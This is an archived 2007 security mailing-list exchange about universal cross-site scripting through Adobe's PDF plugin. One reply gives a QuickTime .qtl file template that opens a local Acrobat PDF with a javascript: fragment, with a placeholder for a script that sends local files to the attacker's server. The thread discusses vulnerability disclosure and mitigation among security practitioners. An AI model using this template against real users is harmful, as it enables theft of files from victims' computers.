Brian, You can't access local pages directly, but there are ways around that restriction. For example, someone on this list (I forget where I first read this, sorry) wrote about a quicktime exploit using qtl files that allows you to access a local file from a remote site. I've been able to use this to exploit the PDF plugin vulnerability in a local context from a remote web page. The file would look something like this: <?xml version="1.0"?> <?quicktime type="application/x-quicktime-media-link"?> <embed src="a.mp3" autoplay="true" qtnext="file:///C:/Program%20Files/Adobe/Acrobat%207.0/Resource/ENUtxt.p df#a=javascript:script_to_send_local_files_to_my_server"/> It works like a charm. So essentially, anyone on the Internet able to run JavaScript or otherwise get me to open this file could read all the files off of my hard drive, if I were vulnerable. Scary. Tom -- Tom Stripling, CISSP, CISA | Senior Security Consultant | Security PS [office - 913.888.2111 x6142 | mobile - 913.488.9712] www.securityps.com -----Original Message----- From: Brian Eaton [mailto:eaton.lists@xxxxxxxxx] Sent: Monday, January 08, 2007 1:07 PM To: RSnake Cc: Amit Klein; bugtraq@xxxxxxxxxxxxxxxxx; Web Security Subject: Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous Someone (I believe RSnake) pointed out that many browser machines have PDF files in predictable locations that can be accessed via file:// links. That lets an attacker gain local javascript execution. At one point Firefox had a rule restricting http:// and https:// web pages from accessing file:// links. Does that rule still exist, and if so does it mitigate the risk posed to firefox users? Regards, Brian ------------------------------------------------------------------------ ---- The Web Security Mailing List: http://www.webappsec.org/lists/websecurity/ The Web Security Mailing List Archives: http://www.webappsec.org/lists/websecurity/archive/ http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
